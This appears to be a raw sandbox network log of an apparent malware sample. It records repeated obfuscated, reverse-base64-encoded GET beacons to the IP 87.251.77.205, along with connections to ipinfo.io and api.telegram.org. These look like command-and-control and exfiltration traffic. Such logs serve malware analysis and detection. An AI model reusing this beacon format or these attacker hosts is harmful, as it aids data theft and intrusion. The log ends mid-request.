DZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W HTTP/1.1 Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Host: 87.251.77.205 socket: 1284 sent: 1088	1	1088
send March 14, 2023, 10:34 a.m.	buffer: GET /Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&47521bacdc488af1c704f1a288e37fec=d1nImZGN0MmZkVDZlJTNhRzY1EzM1UmM0QjNyMWM0EzM3MDM1ATNyIjN1IiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W&ea2f520425b9639ae81fd5c491eec651=d1nIiojI3M2M5YGMzcjZwcDM1QWZhJjN5MzNiFmYhdTZ0YGNwkjIsIiZmRDNjZGZ1QWZyUTY0MWNxMTNlJDN0YjMjFDNxMzNzATNwUjMyYTNiojI1EWNyQGN1gjZklTYzgDZhFTZ4AzYiNTMmJjMwEWY4QmIsIiYlZzMhVTYiRzYmFGZmJmYxcTOlVGN3QTMzMWMzkDMxETMiFTZxUmZiojI5kTY4ETNkNDZjRjYmdjZjZGNxgTOkFjN1AzM2EzM0gjI7xSfiElZ5oUeQl2bqlEMJJjTspkMZxmR6lVMNpmT3NGRaVTR6lVaopmWrJlaO1mTU1keV1WTxUkeOJTRE9UbopnT0k0QMlWQqlkNJlWWwkleZNTRtlFbWdkW3F1Va1mRX1kaoRkTykVbORTRtlFaKpWTrxmaNlXSX50MFd0T4VVbZl2cu9UaFdEZoJVRkRjVtl0cVp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaV1GZwJ1MZJkSp9UaNhFZwY0RkRFbIRGcahVYw40VRl2dplUeWJjWoVzVZ5kQTJGaKNjW2pESVl2bql0M5ckW1xmMWVlTVFVa3lWSPpUaPlGMXllaKdlWY5EWhl2dplkWKl2TpVVbiZHaHNmdKNTWwFDMjBnSDxUarlmYzkTbiJXNXZ1bBlmYzkTbiJXNXZVavpWSsFzVZ9kVGVFRKNETptWaiNTOtJmc1clVvFUaiNTOtJmc1clVp9maJxWMXl1TWZUVIp0QMl2aslkNJlmYwFzRaJkTYFWa3lWSp9maJhkRFZVa3lWSwwWbRdWUq50Z0UUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKNkYxkzVaRVOTlFcOhVUp9maJxWNyImNWdlYwJlbJNXSD10dBRUT3FkaJZTSDJGaSNzY2JkbJNXSTlFbKNjYMJ0QhBjVzIGVCNFTnF1VaBnWXFmaWd0Y6J0QkZXNrlkNJlnW5lTbJNXS55kMjRUT1NmaNh3dT9UMVpmT1NmeNl2bqlka5ckYpdXaJNFdrlkNJNVZ5JlbiFTOykVa3lWSzZ1MixmTslkNJlmY2xmMaxmSul0cJNFZuFTaiZHZzI2TKl2TptGSkBnTtl0cJlWTxUkaMBTTU1UdnRUT5RzUONTRqlkNJN0YwpUelZTS5JWb1c1U3x2aJNXSp1UeRNzYsJlbJZTSTpFdG1GV5ZlMjZlSDxUaNVUV0lkaNVlTWJVVKl2TpV1VihWNwEVUKNETp1keNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiczYzkjZwMzNmBzNwUDZlFmM2kzM3IWYiF2NlRjZ0ATOiwiIjhjM4UWO5cjY0MzM5gTO5MjYjBTO1UDZ0Y2MwMjZhhTMyYDN4QmYiJiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W HTTP/1.1 Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Host: 87.251.77.205 socket: 1284 sent: 2675	1	2675
send March 14, 2023, 10:34 a.m.	buffer: GET /Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&19ba5fbb1230b3f30be35064149e6e70=0VfiAjbJxmSzIGMOhlWTFzVaBjTYVGV4ZEW6RmMi1EeGhlekNjYrVzVhhFeGhlNNtWS2k0QhBjRHVVa3lWS1R2MiVHdtJmVKl2Tpd2RkhmQGpVe5ITW6x2RSl2dplUavpWSvJFWZFVMXlVekdlWzZ1RWl2dplUavpWS6JESjJUMXlFbSNTVpdXaJVHZzIWd01mYWpUaPlWUVNVeWJzYWFzVZxmUzUVa3lWS1R2MiVHdtJmVKl2TplEWapnVWJGaWdEZUp0QMlGNyQmd1ITY1ZFbJZTS5pVdGdEV0Z0VaBjTsl0cJlmYzkTbiJXNXZVavpWSvJFWZFVMXlFbSNTVpdXaJB3ZaV3cYFnbzRUeiBnUXRmQClmY2x2RkBXNXFWbWdkUndmMaBHaFt0Z3F2Z0RlYuNna0AncMl2Tp1EWaVXOHF2d502Yqx2VUl2dplUavpWS6FzVZpmSXpFWKNETpRzRYlHeW1kWGVEVR5kVTVEeGhVd3ZEWjhHbJZTS5NWdWdlW55kMVl2dplUM0MkTp9maJVXOXFmeKhlWXRXbjZHZYpFdG12YHpUelJiOiczYzkjZwMzNmBzNwUDZlFmM2kzM3IWYiF2NlRjZ0ATOiwiIiJmN2MjZlZGM0EmNjBzMlNDMwIWNmVGZ1kjN4EDZ0EmMmJzMlZWNmJiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W HTTP/1.1 Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Host: 87.251.77.205 socket: 1404 sent: 1652	1	1652
send March 14, 2023, 10:34 a.m.	buffer: dÏ?ìYå£ûTmn¹£Rä? O]ôIj*</=5 À'ÀÀÀ+À#À,À$À À @2j8;ÿ ipinfo.io socket: 1332 sent: 151	1	151
send March 14, 2023, 10:34 a.m.	buffer: FBAùº*PÀP¹ö+7Ç±±õDÐò=ì®e³0¸¸<öì\|ÛvèB[èñ'ÿqÙcóD%uä{¡m$%X@_\Mù#Jþ¨UÓ'q´ãn~·Q¦JYÛÒâÌ¹Éý^ úçï¼b î>àµì<m& socket: 1332 sent: 150	1	150
WSASend March 14, 2023, 10:34 a.m.	buffer: GET /roots/dstrootcax3.p7c HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Microsoft-CryptoAPI/6.1 Host: apps.identrust.com socket: 2256		0
send March 14, 2023, 10:34 a.m.	buffer: GET /Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&47521bacdc488af1c704f1a288e37fec=d1nImZGN0MmZkVDZlJTNhRzY1EzM1UmM0QjNyMWM0EzM3MDM1ATNyIjN1IiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W&ea2f520425b9639ae81fd5c491eec651=0VfiIiOiczYzkjZwMzNmBzNwUDZlFmM2kzM3IWYiF2NlRjZ0ATOiwiImZGN0MmZkVDZlJTNhRzY1EzM1UmM0QjNyMWM0EzM3MDM1ATNyIjN1IiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOisHL9JSOx4WSvkUaPlWQE90aWRkWrJEVNdXSU5ENrRlWqZ0RaNTWH1EboRlWoZEVZp3Y61kMnpmWyEFVPhXUy40dFpWSzlUeQl2bqlEMJJjTspkMZxmR6lVMNpmT3NGRaVTR6lVaopmWrJlaO1mTU1keV1WTxUkeOJTRE9UbopnT0k0QMlWQqlkNJlWWwkleZNTRtlFbWdkW3F1Va1mRX1kaoRkTykVbORTRtlFaKpWTrxmaNlXSX50MFd0T4VVbZl2cu9UaFdEZoJVRkRjVtl0cVp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaV1GZwJ1MZJkSp9UaNhFZwY0RkRFbIRGcahVYw40VRl2dplUeWJjWoVzVZ5kQTJGaKNjW2pESVl2bql0M5ckW1xmMWVlTVFVa3lWSPpUaPlGMXllaKdlWY5EWhl2dplkWKl2TpVVbiZHaHNmdKNTWwFDMjBnSDxUarlmYzkTbiJXNXZ1bBlmYzkTbiJXNXZVavpWSsFzVZ9kVGVFRKNETptWaiNTOtJmc1clVvFUaiNTOtJmc1clVp9maJxWMXl1TWZUVIp0QMl2aslkNJlmYwFzRaJkTYFWa3lWSp9maJhkRFZVa3lWSwwWbRdWUq50Z0UUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKNkYxkzVaRVOTlFcOhVUp9maJxWNyImNWdlYwJlbJNXSD10dBRUT3FkaJZTSDJGaSNzY2JkbJNXSTlFbKNjYMJ0QhBjVzIGVCNFTnF1VaBnWXFmaWd0Y6J0QkZXNrlkNJlnW5lTbJNXS55kMjRUT1NmaNh3dT9UMVpmT1NmeNl2bqlka5ckYpdXaJNFdrlkNJNVZ5JlbiFTOykVa3lWSzZ1MixmTslkNJlmY2xmMaxmSul0cJNFZuFTaiZHZzI2TKl2TptGSkBnTtl0cJlWTxUkaMBTTU1UdnRUT5RzUONTRqlkNJN0YwpUelZTS5JWb1c1U3x2aJNXSp1UeRNzYsJlbJZTSTpFdG1GV5ZlMjZlSDxUaNVUV0lkaNVlTWJVVKl2TpV1VihWNwEVUKNETp1keNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiczYzkjZwMzNmBzNwUDZlFmM2kzM3IWYiF2NlRjZ0ATOiwiIjhjM4UWO5cjY0MzM5gTO5MjYjBTO1UDZ0Y2MwMjZhhTMyYDN4QmYiJiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W HTTP/1.1 Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Host: 87.251.77.205 socket: 1284 sent: 2758	1	2758
send March 14, 2023, 10:34 a.m.	buffer: dÏ@q÷PX<Ò¬·7VþkïÙü@Fþ*</=5 À'ÀÀÀ+À#À,À$À À @2j8Bÿapi.telegram.org socket: 2228 sent: 158	1	158
send March 14, 2023, 10:34 a.m.	buffer: GET /Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&47521bacdc488af1c704f1a288e37fec=d1nI1gDNkdTM1MzYyMDM2I2MiNzNkRDNiRTOxMGZjNDZhBTOmJzMmNGZ1IiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W HTTP/1.1 Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Host: 87.251.77.205 socket: 1284 sent: 1037	1	1037
send March 14, 2023, 10:34 a.m.	buffer: GET /Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&47521bacdc488af1c704f1a288e37fec=d1nImZGN0MmZkVDZlJTNhRzY1EzM1UmM0QjNyMWM0EzM3MDM1ATNyIjN1IiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W&ea2f520425b9639ae81fd5c491eec651=0VfiIiOiczYzkjZwMzNmBzNwUDZlFmM2kzM3IWYiF2NlRjZ0ATOiwiImZGN0MmZkVDZlJTNhRzY1EzM1UmM0QjNyMWM0EzM3MDM1ATNyIjN1IiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOisHL9JSOx4WSvkUaPlWQE90aWRkWrJEVNdXSU5ENrRlWqZ0RaNTWH1EboRlWoZEVZp3Y61kMnpmWyEFVPhXUy40dFpWSzlUeQl2bqlEMJJjTspkMZxmR6lVMNpmT3NGRaVTR6lVaopmWrJlaO1mTU1keV1WTxUkeOJTRE9UbopnT0k0QMlWQqlkNJlWWwkleZNTRtlFbWdkW3F1Va1mRX1kaoRkTykVbORTRtlFaKpWTrxmaNlXSX50MFd0T4VVbZl2cu9UaFdEZoJVRkRjVtl0cVp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaV1GZwJ1MZJkSp9UaNhFZwY0RkRFbIRGcahVYw40VRl2dplUeWJjWoVzVZ5kQTJGaKNjW2pESVl2bql0M5ckW1xmMWVlTVFVa3lWSPpUaPlGMXllaKdlWY5EWhl2dplkWKl2TpVVbiZHaHNmdKNTWwFDMjBnSDxUarlmYzkTbiJXNXZ1bBlmYzkTbiJXNXZVavpWSsFzVZ9kVGVFRKNETptWaiNTOtJmc1clVvFUaiNTOtJmc1clVp9maJxWMXl1TWZUVIp0QMl2aslkNJlmYwFzRaJkTYFWa3lWSp9maJhkRFZVa3lWSwwWbRdWUq50Z0UUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKNkYxkzVaRVOTlFcOhVUp9maJxWNyImNWdlYwJlbJNXSD10dBRUT3FkaJZTSDJGaSNzY2JkbJNXSTlFbKNjYMJ0QhBjVzIGVCNFTnF1VaBnWXFmaWd0Y6J0QkZXNrlkNJlnW5lTbJNXS55kMjRUT1NmaNh3dT9UMVpmT1NmeNl2bqlka5ckYpdXaJNFdrlkNJNVZ5JlbiFTOykVa3lWSzZ1MixmTslkNJlmY2xmMaxmSul0cJNFZuFTaiZHZzI2TKl2TptGSkBnTtl0cJlWTxUkaMBTTU1UdnRUT5RzUONTRqlkNJN0YwpUelZTS5JWb1c1U3x2aJNXSp1UeRNzYsJlbJZTSTpFdG1GV5ZlMjZlSDxUaNVUV0lkaNVlTWJVVKl2TpV1VihWNwEVUKNETp1keNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiczYzkjZwMzNmBzNwUDZlFmM2kzM3IWYiF2NlRjZ0ATOiwiIjhjM4UWO5cjY0MzM5gTO5MjYjBTO1UDZ0Y2MwMjZhhTMyYDN4QmYiJiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W HTTP/1.1 Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Host: 87.251.77.205 socket: 1284 sent: 2758	1	2758
send March 14, 2023, 10:34 a.m.	buffer: GET /Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&47521bacdc488af1c704f1a288e37fec=d1nImZGN0MmZkVDZlJTNhRzY1EzM1UmM0QjNyMWM0EzM3MDM1ATNyIjN1IiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W&ea2f520425b9639ae81fd5c491eec651=0VfiIiOiczYzkjZwMzNmBzNwUDZlFmM2kzM3IWYiF2NlRjZ0ATOiwiImZGN0MmZkVDZlJTNhRzY1EzM1UmM0QjNyMWM0EzM3MDM1ATNyIjN1IiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOisHL9JSOx4WSvkUaPlWQE90aWRkWrJEVNdXSU5ENrRlWqZ0RaNTWH1EboRlWoZEVZp3Y61kMnpmWyEFVPhXUy40dFpWSzlUeQl2bqlEMJJjTspkMZxmR6lVMNpmT3NGRaVTR6lVaopmWrJlaO1mTU1keV1WTxUkeOJTRE9UbopnT0k0QMlWQqlkNJlWWwkleZNTRtlFbWdkW3F1Va1mRX1kaoRkTykVbORTRtlFaKpWTrxmaNlXSX50MFd0T4VVbZl2cu9UaFdEZoJVRkRjVtl0cVp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaV1GZwJ1MZJkSp9UaNhFZwY0RkRFbIRGcahVYw40VRl2dplUeWJjWoVzVZ5kQTJGaKNjW2pESVl2bql0M5ckW1xmMWVlTVFVa3lWSPpUaPlGMXllaKdlWY5EWhl2dplkWKl2TpVVbiZHaHNmdKNTWwFDMjBnSDxUarlmYzkTbiJXNXZ1bBlmYzkTbiJXNXZVavpWSsFzVZ9kVGVFRKNETptWaiNTOtJmc1clVvFUaiNTOtJmc1clVp9maJxWMXl1TWZUVIp0QMl2aslkNJlmYwFzRaJkTYFWa3lWSp9maJhkRFZVa3lWSwwWbRdWUq50Z0UUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKNkYxkzVaRVOTlFcOhVUp9maJxWNyImNWdlYwJlbJNXSD10dBRUT3FkaJZTSDJGaSNzY2JkbJNXSTlFbKNjYMJ0QhBjVzIGVCNFTnF1VaBnWXFmaWd0Y6J0QkZXNrlkNJlnW5lTbJNXS55kMjRUT1NmaNh3dT9UMVpmT1NmeNl2bqlka5ckYpdXaJNFdrlkNJNVZ5JlbiFTOykVa3lWSzZ1MixmTslkNJlmY2xmMaxmSul0cJNFZuFTaiZHZzI2TKl2TptGSkBnTtl0cJlWTxUkaMBTTU1UdnRUT5RzUONTRqlkNJN0YwpUelZTS5JWb1c1U3x2aJNXSp1UeRNzYsJlbJZTSTpFdG1GV5ZlMjZlSDxUaNVUV0lkaNVlTWJVVKl2TpV1VihWNwEVUKNETp1keNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiczYzkjZwMzNmBzNwUDZlFmM2kzM3IWYiF2NlRjZ0ATOiwiIjhjM4UWO5cjY0MzM5gTO5MjYjBTO1UDZ0Y2MwMjZhhTMyYDN4QmYiJiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W HTTP/1.1 Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Host: 87.251.77.205 socket: 1284 sent: 2758	1	2758
send March 14, 2023, 10:34 a.m.	buffer: GET /Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&47521bacdc488af1c704f1a288e37fec=d1nImZGN0MmZkVDZlJTNhRzY1EzM1UmM0QjNyMWM0EzM3MDM1ATNyIjN1IiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W&ea2f520425b9639ae81fd5c491eec651=0VfiIiOiczYzkjZwMzNmBzNwUDZlFmM2kzM3IWYiF2NlRjZ0ATOiwiImZGN0MmZkVDZlJTNhRzY1EzM1UmM0QjNyMWM0EzM3MDM1ATNyIjN1IiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOisHL9JSOx4WSvkUaPlWQE90aWRkWrJEVNdXSU5ENrRlWqZ0RaNTWH1EboRlWoZEVZp3Y61kMnpmWyEFVPhXUy40dFpWSzlUeQl2bqlEMJJjTspkMZxmR6lVMNpmT3NGRaVTR6lVaopmWrJlaO1mTU1keV1WTxUkeOJTRE9UbopnT0k0QMlWQqlkNJlWWwkleZNTRtlFbWdkW3F1Va1mRX1kaoRkTykVbORTRtlFaKpWTrxmaNlXSX50MFd0T4VVbZl2cu9UaFdEZoJVRkRjVtl0cVp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaV1GZwJ1MZJkSp9UaNhFZwY0RkRFbIRGcahVYw40VRl2dplUeWJjWoVzVZ5kQTJGaKNjW2pESVl2bql0M5ckW1xmMWVlTVFVa3lWSPpUaPlGMXllaKdlWY5EWhl2dplkWKl2TpVVbiZHaHNmdKNTWwFDMjBnSDxUarlmYzkTbiJXNXZ1bBlmYzkTbiJXNXZVavpWSsFzVZ9kVGVFRKNETptWaiNTOtJmc1clVvFUaiNTOtJmc1clVp9maJxWMXl1TWZUVIp0QMl2aslkNJlmYwFzRaJkTYFWa3lWSp9maJhkRFZVa3lWSwwWbRdWUq50Z0UUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKNkYxkzVaRVOTlFcOhVUp9maJxWNyImNWdlYwJlbJNXSD10dBRUT3FkaJZTSDJGaSNzY2JkbJNXSTlFbKNjYMJ0QhBjVzIGVCNFTnF1VaBnWXFmaWd0Y6J0QkZXNrlkNJlnW5lTbJNXS55kMjRUT1NmaNh3dT9UMVpmT1NmeNl2bqlka5ckYpdXaJNFdrlkNJNVZ5JlbiFTOykVa3lWSzZ1MixmTslkNJlmY2xmMaxmSul0cJNFZuFTaiZHZzI2TKl2TptGSkBnTtl0cJlWTxUkaMBTTU1UdnRUT5RzUONTRqlkNJN0YwpUelZTS5JWb1c1U3x2aJNXSp1UeRNzYsJlbJZTSTpFdG1GV5ZlMjZlSDxUaNVUV0lkaNVlTWJVVKl2TpV1VihWNwEVUKNETp1keNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlS